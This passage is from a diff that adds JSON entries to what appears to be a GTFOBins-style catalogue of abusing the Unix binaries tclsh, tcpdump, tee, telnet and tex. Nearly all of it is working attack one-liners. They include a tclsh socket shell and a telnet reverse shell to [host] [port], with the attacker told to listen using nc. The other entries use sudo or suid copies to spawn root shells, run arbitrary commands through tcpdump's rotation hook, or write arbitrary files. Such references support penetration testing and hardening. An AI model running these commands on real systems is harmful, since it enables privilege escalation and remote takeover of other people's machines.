"code": "echo 'set s [socket \"[host]\" [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"suid": [
|
|
15
|
+
{
|
|
16
|
+
"code": "./tclsh\nexec /bin/sh -p <@stdin >@stdout 2>@stderr\n"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"sudo": [
|
|
20
|
+
{
|
|
21
|
+
"code": "sudo tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
|
|
22
|
+
}
|
|
23
|
+
]
|
|
24
|
+
}
|
|
25
|
+
}
|
gtfo/data/tcpdump.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background. In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the 'postrotate-command' to a small subset of predefined commands thus preventing the execution of the following.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"command": [
|
|
5
|
+
{
|
|
6
|
+
"code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\ntcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\nsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/tee.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "It can only append data if the destination exists.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-write": [
|
|
5
|
+
{
|
|
6
|
+
"code": "echo DATA | ./tee -a [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "echo DATA | sudo tee -a [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"suid": [
|
|
15
|
+
{
|
|
16
|
+
"code": "echo DATA | ./tee -a [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/telnet.json
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "BSD version only. Needs to be connected first.",
|
|
6
|
+
"code": "telnet [host] [port]\n^]\n!/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"reverse-shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Run 'nc -lp [port]' on the attacker box to receive the shell.",
|
|
12
|
+
"code": "TF=$(mktemp -u)\nmkfifo $TF && telnet [host] [port] 0<$TF | /bin/sh 1>$TF\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
"description": "BSD version only. Needs to be connected first.",
|
|
18
|
+
"code": "sudo telnet [host] [port]\n^]\n!/bin/sh\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"limited-suid": [
|
|
22
|
+
{
|
|
23
|
+
"description": "BSD version only. Needs to be connected first.",
|
|
24
|
+
"code": "./telnet [host] [port]\n^]\n!/bin/sh\n"
|
|
25
|
+
}
|
|
26
|
+
]
|
|
27
|
+
}
|
|
28
|
+
}
|
gtfo/data/tex.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "tex --shell-escape '\\write18{/bin/sh}\\end'\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sudo tex --shell-escape '\\write18{/bin/sh}\\end'\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"limited-suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./tex --shell-escape '\\write18{/bin/sh}\\end'\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|